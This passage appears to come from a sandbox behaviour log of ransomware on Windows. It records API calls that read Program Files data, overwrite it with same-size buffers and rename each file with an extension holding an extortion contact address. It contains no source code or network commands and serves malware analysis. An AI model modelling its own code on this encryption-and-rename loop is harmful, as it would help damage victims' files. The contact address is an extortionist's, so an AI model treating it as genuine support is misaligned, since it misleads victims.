dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.947] WriteFile (in: hFile=0x6a8, lpBuffer=0x72b5678*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b5678*, lpNumberOfBytesWritten=0x3cfff0c*=0xd80, lpOverlapped=0x0) returned 1 [0206.948] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.948] WriteFile (in: hFile=0x6a8, lpBuffer=0x72b63f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b63f7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.948] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.948] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.948] CloseHandle (hObject=0x6a8) returned 1 [0206.948] GetProcessHeap () returned 0x630000 [0206.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b5678 | out: hHeap=0x630000) returned 1 [0206.948] GetProcessHeap () returned 0x630000 [0206.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0206.948] GetProcessHeap () returned 0x630000 [0206.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0206.948] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x414d84c6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdbb, dwReserved0=0xce07496, dwReserved1=0x695ec8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f40 [0206.948] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0206.948] Sleep (dwMilliseconds=0x1) [0206.963] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF", len=0x70 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF") returned 1 [0206.963] GetProcessHeap () returned 0x630000 [0206.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c60) returned 0x6fe4288 [0206.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0206.964] CloseHandle (hObject=0x6a8) returned 1 [0206.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0206.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0206.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="BOLDSTRI.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BOLDST~1.FIR")) returned 0x6d5280 [0206.966] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0206.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0206.966] GetProcessHeap () returned 0x630000 [0206.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0206.966] GetProcessHeap () returned 0x630000 [0206.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0206.966] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.966] ReadFile (in: hFile=0x6a8, lpBuffer=0x6d7040, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesRead=0x3cfff0c*=0x240, lpOverlapped=0x0) returned 1 [0206.970] GetProcessHeap () returned 0x630000 [0206.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0206.970] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.970] WriteFile (in: hFile=0x6a8, lpBuffer=0x6d6db8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesWritten=0x3cfff0c*=0x240, lpOverlapped=0x0) returned 1 [0206.970] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.970] WriteFile (in: hFile=0x6a8, lpBuffer=0x6d6ff7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6ff7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.970] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.970] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.970] CloseHandle (hObject=0x6a8) returned 1 [0206.970] GetProcessHeap () returned 0x630000 [0206.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0206.970] GetProcessHeap () returned 0x630000 [0206.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0206.970] GetProcessHeap () returned 0x630000 [0206.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0206.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x414fe76d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x3cffd20, dwReserved1=0x6d7040, cFileName="BOLDSTRI.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BOLDST~1.FIR")) returned 0x6d4f40 [0206.971] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0206.971] Sleep (dwMilliseconds=0x1) [0206.984] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG") returned 1 [0206.984] GetProcessHeap () returned 0x630000 [0206.984] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c58) returned 0x6fe4288 [0206.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0206.985] CloseHandle (hObject=0x4f0) returned 1 [0206.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0206.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0206.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5280 [0206.986] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0206.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0206.986] GetProcessHeap () returned 0x630000 [0206.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6b21) returned 0x70dd910 [0206.986] GetProcessHeap () returned 0x630000 [0206.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6b21) returned 0x7477198 [0206.987] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.987] ReadFile (in: hFile=0x4f0, lpBuffer=0x70dd910, nNumberOfBytesToRead=0x6b00, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesRead=0x3cfff0c*=0x6b00, lpOverlapped=0x0) returned 1 [0212.660] GetProcessHeap () returned 0x630000 [0212.660] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0212.660] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.660] WriteFile (in: hFile=0x4f0, lpBuffer=0x7477198*, nNumberOfBytesToWrite=0x6b00, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477198*, lpNumberOfBytesWritten=0x3cfff0c*=0x6b00, lpOverlapped=0x0) returned 1 [0212.660] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.660] WriteFile (in: hFile=0x4f0, lpBuffer=0x747dc97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x747dc97*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.660] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.660] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.660] CloseHandle (hObject=0x4f0) returned 1 [0212.661] GetProcessHeap () returned 0x630000 [0212.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7477198 | out: hHeap=0x630000) returned 1 [0212.661] GetProcessHeap () returned 0x630000 [0212.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0212.661] GetProcessHeap () returned 0x630000 [0212.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0212.661] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44b3aab4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6b33, dwReserved0=0xce07496, dwReserved1=0x70dd908, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5280 [0212.661] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0212.661] Sleep (dwMilliseconds=0x1) [0214.608] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office 15\\active-charge.exe", len=0x36 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office 15\\active-charge.exe") returned 1 [0214.608] GetProcessHeap () returned 0x630000 [0214.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f34) returned 0x7128660 [0214.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office 15\\active-charge.exe" (normalized: "c:\\program files\\microsoft office 15\\active-charge.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.650] Sleep (dwMilliseconds=0x1) [0216.368] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml") returned 1 [0216.369] GetProcessHeap () returned 0x630000 [0216.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fc0) returned 0x74d7f88 [0216.369] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0216.369] CloseHandle (hObject=0x700) returned 1 [0216.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.370] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0216.372] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0216.372] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0216.372] GetProcessHeap () returned 0x630000 [0216.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0216.372] GetProcessHeap () returned 0x630000 [0216.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7ce8 [0216.372] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.372] ReadFile (in: hFile=0x700, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x3cfff0c*=0x240, lpOverlapped=0x0) returned 1 [0216.375] GetProcessHeap () returned 0x630000 [0216.375] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0216.375] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.375] WriteFile (in: hFile=0x700, lpBuffer=0x6d7ce8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7ce8*, lpNumberOfBytesWritten=0x3cfff0c*=0x240, lpOverlapped=0x0) returned 1 [0216.376] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.376] WriteFile (in: hFile=0x700, lpBuffer=0x6d7f27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7f27*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.376] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.376] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.376] CloseHandle (hObject=0x700) returned 1 [0216.376] GetProcessHeap () returned 0x630000 [0216.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7ce8 | out: hHeap=0x630000) returned 1 [0216.376] GetProcessHeap () returned 0x630000 [0216.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0216.376] GetProcessHeap () returned 0x630000 [0216.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0216.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x46eb17d1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x3cffd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0216.376] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0216.377] Sleep (dwMilliseconds=0x1) [0217.889] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml", len=0x7d | out: 